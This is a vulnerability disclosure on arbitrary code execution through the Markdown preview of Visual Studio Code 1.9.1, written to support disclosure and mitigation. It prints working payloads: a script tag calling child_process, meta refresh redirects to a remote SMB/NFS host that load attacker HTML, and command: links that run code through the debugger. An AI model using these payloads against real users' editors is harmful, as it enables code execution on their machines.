Visual Studio Code 1.9.1: Arbitrary Code Execution via Markdown Preview
Overview #
Visual Studio Code’s Markdown Preview in v1.9.1 renders GitHub-flavored Markdown (GFM) and allows inline HTML. A malicious Markdown file can include <script> tags that execute JavaScript in the preview context. If that context has access to Node/Electron primitives, an attacker can reach Node APIs (for example child_process) and execute arbitrary commands.
Affected Version #
- Product: Visual Studio Code
- Version: 1.9.1
- Issue: Arbitrary Code Execution (RCE) via Markdown Preview

Proof of Concept (RCE.md) #
Save the following as RCE.md:
<pre>
<script>document.write(top.require('child_process').execSync('ls; open -a Calculator'))</script>
</pre>
Steps to Reproduce #
- Open
RCE.mdin Visual Studio Code. - Open the Markdown preview (click the preview icon, or press ⇧⌘V on macOS).
- Observe command execution (e.g., Calculator launches on macOS).
Root Cause #
- HTML is allowed in Markdown: Many Markdown renderers permit a subset (or full set) of HTML tags.
- Scripts execute in the preview: If
<script>executes, attacker-controlled JS runs in the preview document. - Electron / Node context access: If the preview context can reach Node APIs (directly, or via
top.require(...)/ preload bridges), attacker JS can call Node primitives likechild_processand execute arbitrary commands.
Recommendations / Mitigations #
- Disable Node integration for the preview renderer: Render the preview content in a
BrowserWindow/frame withnodeIntegration: false(and ideallycontextIsolation: true). - Restrict allowed HTML:
- Allow only a safe subset of tags/attributes.
- Further restrict attributes and protocols (e.g., prevent
javascript:anddata:URLs inhref/src).
- Harden navigation/redirects: Block or strictly validate redirect mechanisms that can escape the intended preview sandbox.
Update: v1.10.2 and Follow-ups #
An update shipped in v1.10.2 with changes intended to address the issue (see the tracking issue: https://github.com/Microsoft/vscode/issues/22268). This is a step in the right direction, but additional bypasses were identified.
Redirect / Auto-mount Bypass (Meta Refresh) #
The issue can be simplified using an SMB (Windows) or NFS (macOS) auto-mount, and a meta refresh can be used to redirect in a way that is not blocked by CSP.
Windows
<meta http-equiv="refresh" content="1; url=file://\\192.241.239.91\Share\rce_win.html">
macOS
<meta http-equiv="refresh" content="1; url=file:////net/192.241.239.91/var/nfs/general/rce.html">
Related fix work is referenced in commit https://github.com/Microsoft/vscode/commit/d6527b85d78a0305cf0222ebe7a42d75d7d1b199, which addresses redirect handling. Node integration was already disabled; the change landed in Insiders and was expected in the 1.11 release.
Notes on webview / Preload Context #
When inspecting the preview, user content appears to load inside a webview. The element may look similar to:
<webview tabindex="-1" nodeintegration="" preload="file:///Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/workbench/parts/html/browser/webview-pre.js">
Electron’s documentation notes that preload scripts can expose powerful primitives to the page unless carefully isolated. If possible, ensure nodeIntegration remains disabled, use contextIsolation, and keep preload bridges minimal and defensive.
Another Issue: command: Links in Preview #
The following link can execute code when clicked by invoking VS Code commands:
<a href="command:vscode.startDebug?%7B%22type%22:%22node%22,%22request%22:%22launch%22,%22args%22:%5B%22-e%22,%22process.exit(require('child_process').execSync('open%20-a%20Calculator'))%22%5D%7D">Debugger Test...</a>
And the following can bypass CSP by “previewing” outside the iframe:
<a href="command:vscode.previewHtml?%22file:///path/to/test.html%22">Preview Test...</a>
References #
- VS Code issue tracker reference:
https://github.com/Microsoft/vscode/issues/22268 - Redirect handling commit:
https://github.com/Microsoft/vscode/commit/d6527b85d78a0305cf0222ebe7a42d75d7d1b199